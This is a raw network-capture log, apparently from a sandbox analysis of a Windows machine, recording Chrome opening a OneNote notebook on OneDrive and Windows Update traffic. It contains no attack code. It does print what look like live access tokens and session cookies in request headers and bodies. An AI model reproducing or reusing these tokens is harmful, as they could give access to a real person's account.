2024-10-25 08:18:48 UTC	857	OUT	POST /o/RemoteUls.ashx?usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4&officeserverversion= HTTP/1.1 Host: onenote.officeapps.live.com Connection: keep-alive Content-Length: 5551 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://onedrive.live.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://onedrive.live.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: xid=d8a72812-8574-4087-b953-5899e368a601&&ODSP-ODWEB-ODCF&345; E=P:Jiauos303Ig=:LuVpPK++Xqsv74IVHxbXnQE1KLbazIMsA91EvApP2Vc=:F; xidseq=2; wla42=
2024-10-25 08:18:48 UTC	5551	OUT	Data Raw: 7b 22 54 22 3a 31 37 32 39 38 34 34 33 32 37 35 39 33 2c 22 4c 22 3a 5b 7b 22 47 22 3a 35 39 36 34 34 34 32 33 38 2c 22 54 22 3a 32 2c 22 4d 22 3a 22 48 6f 73 74 49 6e 69 74 44 69 61 67 6e 6f 73 74 69 63 73 3a 20 7b 5c 22 65 6e 74 72 79 50 6f 69 6e 74 5c 22 3a 5c 22 4e 61 76 69 67 61 74 69 6f 6e 55 72 6c 5c 22 2c 5c 22 68 6f 73 74 50 61 67 65 46 69 72 73 74 46 6c 75 73 68 54 69 6d 65 5c 22 3a 31 37 32 39 38 34 34 33 32 35 39 38 30 2c 5c 22 75 73 65 72 43 6c 69 63 6b 54 69 6d 65 5c 22 3a 31 37 32 39 38 34 34 33 31 36 35 32 33 2c 5c 22 6f 66 66 69 63 65 42 6f 6f 74 73 74 72 61 70 70 65 72 53 74 61 72 74 54 69 6d 65 5c 22 3a 31 37 32 39 38 34 34 33 32 35 39 38 32 2c 5c 22 6f 66 66 69 63 65 42 6f 6f 74 73 74 72 61 70 70 65 72 45 6e 64 54 69 6d 65 5c 22 3a 31 Data Ascii: {"T":1729844327593,"L":[{"G":596444238,"T":2,"M":"HostInitDiagnostics: {\"entryPoint\":\"NavigationUrl\",\"hostPageFirstFlushTime\":1729844325980,\"userClickTime\":1729844316523,\"officeBootstrapperStartTime\":1729844325982,\"officeBootstrapperEndTime\":1
2024-10-25 08:18:49 UTC	4698	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 00d14cdf-54be-4896-a0a0-0bdc2424eeae X-UserSessionId: d792bec9-feb6-4b93-b8c3-d25b567b0fc4 Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: SN3PEPF000091C5 X-OfficeVersion: 16.0.18214.41004 X-OfficeCluster: PUS6 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://onedrive.live.com Access-Control-Expose-Headers: X-EndSession, X-CorrelationId, X-OfficeFE, X-NewKey, X-bULS-SuppressionETag, X-bULS-SuppressedTags Cross-Origin-Resource-Policy: cross-origin X-bULS-SuppressionETag: C78C301AFEA9348D5ECE9A0B93BE4D1DAB74B6B1 X-bULS-SuppressedTags: 378069,1671813,2208151,2209344,3249545,3290144,4273285,4285850,4298965,4298968,4298969,4751696,5018275,5306497,5904476,6375195,6572226,6948167,7463498,8194017,8458642,17044289,17085210,17085216,17162522,17358857,17387682,19214611,19243470,19707039,19743902,19939648,20486158,21627712,21631370,22401293,22410500,22558617,22558879,22598977,22680210,22680213,22680214,22836558,22922182,22946650,23881934,23909858,24133723,24401375,24462656,24515087,25514973,25531993,33592839,34388130,35682372,36472266,36546380,36546381,36546382,36569418,36708451,36773964,36791688,36811158,36811159,36963655,37259477,37288035,37307491,37754499,37856259,37876293,37876294,37889309,38293640,38535900,38543496,38580697,38637954,38922202,39076766,39076767,39105358,39408129,39613840,39966341,40437001,40777251,40935455,40957978,40957979,41003225,41207258,41473876,41502555,41711299,41952657,41964821,41964885,42272991,42496725,42513088,42815875,42857251,50406866,50431969,50622685,51451613,51504083,51667010,84165957,306230 [TRUNCATED] nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-DFW31r5d&DC=&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: SN3PEPF000091C5 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_excelslice_control,afd_visioslice,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest_control X-MSEdge-Ref: Ref A: 367B56A45A4D4CC6B2C996735F0295B5 Ref B: DFW311000107025 Ref C: 2024-10-25T08:18:48Z Date: Fri, 25 Oct 2024 08:18:48 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49770	52.108.8.12	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:18:50 UTC	659	OUT	OPTIONS /o/RemoteUls.ashx?build=16.0.18214.41004&waccluster=PUS11&usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4 HTTP/1.1 Host: usc-onenote.officeapps.live.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: x-browserulsbeacon,x-usersessionid Origin: https://onenote.officeapps.live.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site Sec-Fetch-Dest: empty Referer: https://onenote.officeapps.live.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 08:18:50 UTC	1568	IN	HTTP/1.1 200 OK Cache-Control: private P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: c5356096-0484-4c0d-ba38-551d6d36c293 X-UserSessionId: d792bec9-feb6-4b93-b8c3-d25b567b0fc4 Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: SN3PEPF00017C94 X-OfficeVersion: 16.0.18214.41004 X-OfficeCluster: PUS11 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://onenote.officeapps.live.com Access-Control-Expose-Headers: X-EndSession, X-CorrelationId, X-OfficeFE, X-NewKey, X-bULS-SuppressionETag, X-bULS-SuppressedTags Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Methods: POST, OPTIONS Access-Control-Allow-Headers: Content-Type, Origin, X-AccessToken, X-AccessTokenTtl, X-BrowserUlsBeacon, X-CorrelationId, X-IsCoauthSession, X-Key, X-NoUls, X-OfficeVersion, X-Requested-With, X-UserSessionId, X-UserType, X-WacCluster, X-WacFrontEnd, X-WacUserAgent, X-bULS-OfficeAppMode, X-bULS-OfficeAppType, X-bULS-SuppressionETag, X-bULS-UseSourceMaps, X-xhr, haep, hascn, hascnt Access-Control-Max-Age: 86400 X-OFFICEFD: SN3PEPF00017C94 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: 5F133CB2E4804DFEB7077BCB86685035 Ref B: DFW311000103011 Ref C: 2024-10-25T08:18:50Z Date: Fri, 25 Oct 2024 08:18:49 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49776	52.108.8.12	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:18:51 UTC	1608	OUT	POST /o/RemoteUls.ashx?build=16.0.18214.41004&waccluster=PUS11&usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4 HTTP/1.1 Host: usc-onenote.officeapps.live.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" X-UserSessionId: d792bec9-feb6-4b93-b8c3-d25b567b0fc4 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 X-BrowserUlsBeacon: [{"Index":0,"MsSinceStart":0,"Value":"SessionStarted","Type":"SessionBoundary"},{"Index":1,"MsSinceStart":1,"Value":"https://onenote.officeapps.live.com/o/onenoteframe.aspx?edit=0&ui=en-US&rs=en-US&hid=iOKNGkkbsUOppGAVudDD%2FQ.0.13.0&wopisrc=https%3A%2F%2Fwopi.onedrive.com%2Fwopi%2Ffolders%2FA2C259BD24DEB977!1517&wd=target%28Quick%20Notes.one%7C8266a05f-045a-4cc0-bddc-4debc90069bb%2FNotera%20H6TYD9J4rDFDFECZC-HUYW%7Ca949d04d-b4e2-4509-b99f-d04546199b7b%2F%29&wdorigin=NavigationUrl&wdo=2&sc=host%3D%26qt%3DDefault&wdp=7&uih=onedrivecom&dchat=1&mscc=1&wdhostclicktime=1729844316523&jsapi=1&jsapiver=v1&newsession=1&corrid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4&usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&uihit=editaspx&muv=1&wdredirectionreason=Force_SingleStepBoot","Type":"Referrer"}] sec-ch-ua-platform: "Windows" Accept: / Origin: https://onenote.officeapps.live.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://onenote.officeapps.live.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 08:18:51 UTC	1580	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 1b12f940-c396-4076-b0f5-faff4c9b5ee9 X-UserSessionId: d792bec9-feb6-4b93-b8c3-d25b567b0fc4 Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: SN3PEPF00017C88 X-OfficeVersion: 16.0.18214.41004 X-OfficeCluster: PUS11 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://onenote.officeapps.live.com Access-Control-Expose-Headers: X-EndSession, X-CorrelationId, X-OfficeFE, X-NewKey, X-bULS-SuppressionETag, X-bULS-SuppressedTags Cross-Origin-Resource-Policy: cross-origin nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-DFW31r5b&DC=PUS11&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: SN3PEPF00017C88 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest_control X-MSEdge-Ref: Ref A: 84EBE422BE7C401AAA366A31D17CE6AC Ref B: DFW311000103049 Ref C: 2024-10-25T08:18:51Z Date: Fri, 25 Oct 2024 08:18:50 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49778	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:18:51 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=AguaVUDH4zt5r+x&MD=MMg9cB1M HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-25 08:18:51 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 7e270004-49ca-4cae-a53f-2291cb752d48 MS-RequestId: b9886c93-0df2-4db2-9c47-15a1b4de9f14 MS-CV: h/P9pdwnL0eAgr/L.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 25 Oct 2024 08:18:51 GMT Connection: close Content-Length: 30005
2024-10-25 08:18:51 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-10-25 08:18:51 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49788	52.108.8.12	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:18:52 UTC	1616	OUT	POST /o/RemoteUls.ashx?build=16.0.18214.41004&waccluster=PUS11&usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4 HTTP/1.1 Host: usc-onenote.officeapps.live.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" X-UserSessionId: d792bec9-feb6-4b93-b8c3-d25b567b0fc4 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 X-BrowserUlsBeacon: [{"Index":1,"MsSinceStart":2631,"Value":"Making GetCells Request","Type":"BootLogs"},{"Index":2,"MsSinceStart":2631,"Value":"https://onenote.officeapps.live.com/o/onenoteframe.aspx?edit=0&ui=en-US&rs=en-US&hid=iOKNGkkbsUOppGAVudDD%2FQ.0.13.0&wopisrc=https%3A%2F%2Fwopi.onedrive.com%2Fwopi%2Ffolders%2FA2C259BD24DEB977!1517&wd=target%28Quick%20Notes.one%7C8266a05f-045a-4cc0-bddc-4debc90069bb%2FNotera%20H6TYD9J4rDFDFECZC-HUYW%7Ca949d04d-b4e2-4509-b99f-d04546199b7b%2F%29&wdorigin=NavigationUrl&wdo=2&sc=host%3D%26qt%3DDefault&wdp=7&uih=onedrivecom&dchat=1&mscc=1&wdhostclicktime=1729844316523&jsapi=1&jsapiver=v1&newsession=1&corrid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4&usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&uihit=editaspx&muv=1&wdredirectionreason=Force_SingleStepBoot","Type":"Referrer"}] sec-ch-ua-platform: "Windows" Accept: / Origin: https://onenote.officeapps.live.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://onenote.officeapps.live.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 08:18:52 UTC	1564	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 6385dddf-d846-42a1-a32e-d548670b3270 X-UserSessionId: d792bec9-feb6-4b93-b8c3-d25b567b0fc4 Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: SN3PEPF00017C90 X-OfficeVersion: 16.0.18214.41004 X-OfficeCluster: PUS11 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://onenote.officeapps.live.com Access-Control-Expose-Headers: X-EndSession, X-CorrelationId, X-OfficeFE, X-NewKey, X-bULS-SuppressionETag, X-bULS-SuppressedTags Cross-Origin-Resource-Policy: cross-origin nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-DFW31r5b&DC=PUS11&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: SN3PEPF00017C90 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: A0F9247014A54F5FA1F4B54A7542DE62 Ref B: DFW311000104047 Ref C: 2024-10-25T08:18:52Z Date: Fri, 25 Oct 2024 08:18:52 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49789	52.108.9.12	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:18:52 UTC	2480	OUT	POST /o/OneNote.ashx HTTP/1.1 Host: onenote.officeapps.live.com Connection: keep-alive Content-Length: 3297 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" X-ServerSideRendering: RenderingNoImages X-OfficeVersion: 16.0.18214.41004 X-Key: JET8TXCUqtsIdxzH7JR+8AxZAV8tHKhwZjWok0HNi3U=;WP9oBPW/wQjBzAXFqEEnFB3ZDLJg8dixW8eGJaFRJyU=,638654411289687050 X-WacUserAgent: MSWACONSync X-Requested-With: XMLHttpRequest X-xhr: 1 X-SessionStartDimensions: {"Application":"OneNote","Browser":"Chrome","BrowserMajorVersion":"117","BrowserVersion":"117.0.0","Host":"OneDriveWOPI","IsSynthetic":"False","Os":"Windows","Ring":"5","RoutedVia":"AzureFrontDoor","SessionOrigin":"NAVIGATIONURL","UiHost":"onedrivecom","UserSessionApplicationMode":"View","WACDatacenter":"PUS11"} sec-ch-ua-platform: "Windows" X-AccessToken: 4wjPhHBH0nlrBlym7f9uthso4F76PCTqyS4r1pC4F1k2k4GF3Khv6wB6Vc2ffRC0MzJIk3jHvdlqjmLIFmNLJXioIwgEvef6Q4qerGUxvsuiZZWpcOIoZaVJKXqZbF6u0A4aB9QLt3B58m7U4CtXAmCw X-UserSessionId: d792bec9-feb6-4b93-b8c3-d25b567b0fc4 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/json; charset=UTF-8 X-UserType: WOPI X-WacCluster: PUS11 Accept: / Origin: https://onenote.officeapps.live.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://onenote.officeapps.live.com/o/onenoteframe.aspx?edit=0&ui=en-US&rs=en-US&hid=iOKNGkkbsUOppGAVudDD%2FQ.0.13.0&wopisrc=https%3A%2F%2Fwopi.onedrive.com%2Fwopi%2Ffolders%2FA2C259BD24DEB977!1517&wd=target%28Quick%20Notes.one%7C8266a05f-045a-4cc0-bddc-4debc90069bb%2FNotera%20H6TYD9J4rDFDFECZC-HUYW%7Ca949d04d-b4e2-4509-b99f-d04546199b7b%2F%29&wdorigin=NavigationUrl&wdo=2&sc=host%3D%26qt%3DDefault&wdp=7&uih=onedrivecom&dchat=1&mscc=1&wdhostclicktime=1729844316523&jsapi=1&jsapiver=v1&newsession=1&corrid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4&usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&uihit=editaspx&muv=1&wdredirectionreason=Force_SingleStepBoot Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: xid=d8a72812-8574-4087-b953-5899e368a601&&ODSP-ODWEB-ODCF&345; E=P:Jiauos303Ig=:LuVpPK++Xqsv74IVHxbXnQE1KLbazIMsA91EvApP2Vc=:F; xidseq=2; wla42=; BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
2024-10-25 08:18:52 UTC	3297	OUT	Data Raw: 7b 22 4d 6f 64 65 22 3a 31 2c 22 73 72 73 22 3a 5b 5b 31 2c 7b 22 46 69 6c 65 49 64 22 3a 22 57 4f 50 49 73 72 63 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 6f 70 69 25 32 45 6f 6e 65 64 72 69 76 65 25 32 45 63 6f 6d 25 32 46 77 6f 70 69 25 32 46 66 6f 6c 64 65 72 73 25 32 46 41 32 43 32 35 39 42 44 32 34 44 45 42 39 37 37 25 32 31 31 35 31 37 26 61 63 63 65 73 73 5f 74 6f 6b 65 6e 3d 34 77 6a 50 68 48 42 48 30 6e 6c 72 42 6c 79 6d 37 66 39 75 74 68 73 6f 34 46 37 36 50 43 54 71 79 53 34 72 31 70 43 34 46 31 6b 32 6b 34 47 46 33 4b 68 76 36 77 42 36 56 63 32 66 66 52 43 30 4d 7a 4a 49 6b 33 6a 48 76 64 6c 71 6a 6d 4c 49 46 6d 4e 4c 4a 58 69 6f 49 77 67 45 76 65 66 36 51 34 71 65 72 47 55 78 76 73 75 69 5a 5a 57 70 63 4f 49 6f 5a 61 56 4a 4b 58 71 5a Data Ascii: {"Mode":1,"srs":[[1,{"FileId":"WOPIsrc=https%3A%2F%2Fwopi%2Eonedrive%2Ecom%2Fwopi%2Ffolders%2FA2C259BD24DEB977%211517&access_token=4wjPhHBH0nlrBlym7f9uthso4F76PCTqyS4r1pC4F1k2k4GF3Khv6wB6Vc2ffRC0MzJIk3jHvdlqjmLIFmNLJXioIwgEvef6Q4qerGUxvsuiZZWpcOIoZaVJKXqZ
2024-10-25 08:18:53 UTC	1076	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 93698 Content-Type: application/json; charset=utf-8 Expires: -1 P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 889294d8-d750-4f1f-81df-74691e3d3fda X-UserSessionId: d792bec9-feb6-4b93-b8c3-d25b567b0fc4 Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: SN3PEPF00017C7B X-OfficeVersion: 16.0.18214.41004 X-OfficeCluster: PUS11 X-Partitioning-Enabled: true X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: SN3PEPF00017C7B X-WacFrontEnd: SN3PEPF00017C7B X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: 45D8D62CF0404FE09ACA243B585314F0 Ref B: DFW311000105051 Ref C: 2024-10-25T08:18:52Z Date: Fri, 25 Oct 2024 08:18:52 GMT Connection: close
2024-10-25 08:18:53 UTC	3471	IN	Data Raw: ef bb bf 7b 22 52 65 73 70 6f 6e 73 65 73 22 3a 5b 5b 31 2c 7b 22 4f 70 65 72 61 74 69 6f 6e 49 64 22 3a 31 2c 22 53 74 61 74 75 73 43 6f 64 65 22 3a 30 2c 22 52 61 77 43 65 6c 6c 53 74 6f 72 61 67 65 45 72 72 6f 72 43 6f 64 65 22 3a 22 22 2c 22 53 65 72 76 65 72 50 61 67 65 53 74 61 74 73 54 72 61 63 65 22 3a 22 22 2c 22 46 69 6c 65 49 64 22 3a 22 57 4f 50 49 73 72 63 3d 68 74 74 70 73 5c 75 30 30 32 35 33 41 5c 75 30 30 32 35 32 46 5c 75 30 30 32 35 32 46 77 6f 70 69 5c 75 30 30 32 35 32 45 6f 6e 65 64 72 69 76 65 5c 75 30 30 32 35 32 45 63 6f 6d 5c 75 30 30 32 35 32 46 77 6f 70 69 5c 75 30 30 32 35 32 46 66 6f 6c 64 65 72 73 5c 75 30 30 32 35 32 46 41 32 43 32 35 39 42 44 32 34 44 45 42 39 37 37 5c 75 30 30 32 35 32 31 31 35 31 37 5c 75 30 30 32 36 61 Data Ascii: {"Responses":[[1,{"OperationId":1,"StatusCode":0,"RawCellStorageErrorCode":"","ServerPageStatsTrace":"","FileId":"WOPIsrc=https\u00253A\u00252F\u00252Fwopi\u00252Eonedrive\u00252Ecom\u00252Fwopi\u00252Ffolders\u00252FA2C259BD24DEB977\u0025211517\u0026a
2024-10-25 08:18:53 UTC	8192	IN	Data Raw: 61 73 65 49 64 22 3a 22 30 30 30 30 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 30 30 30 30 30 30 30 30 7c 30 22 2c 22 4f 62 6a 65 63 74 47 72 6f 75 70 73 22 3a 5b 7b 22 49 64 22 3a 22 36 35 64 34 35 62 30 62 2d 62 65 32 31 2d 34 63 31 64 2d 38 33 39 31 2d 66 64 37 35 36 39 63 37 32 38 66 33 7c 31 22 2c 22 4f 62 6a 65 63 74 73 22 3a 5b 7b 22 43 6c 61 73 73 49 64 22 3a 33 39 33 32 32 33 2c 22 4f 62 6a 65 63 74 49 64 22 3a 22 65 39 61 30 31 62 37 61 2d 63 39 62 38 2d 34 34 34 33 2d 38 39 31 31 2d 36 65 66 31 62 34 62 34 31 63 62 61 7c 31 22 2c 22 50 72 6f 70 65 72 74 69 65 73 22 3a 5b 34 36 39 37 36 39 32 36 34 2c 22 66 66 62 33 33 33 33 61 2d 63 34 31 31 2d 34 33 31 65 2d 62 37 38 38 2d 34 38 34 34 36 33 66 30 36 34 38 30 22 2c Data Ascii: 